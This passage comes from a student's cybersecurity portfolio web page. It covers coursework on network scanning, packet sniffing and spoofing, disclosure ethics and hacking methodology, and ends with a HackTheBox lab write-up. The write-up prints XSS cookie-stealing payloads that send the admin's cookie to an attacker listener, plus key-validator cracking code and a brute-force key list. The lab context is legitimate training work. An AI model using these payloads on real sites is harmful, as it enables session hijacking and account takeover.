cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 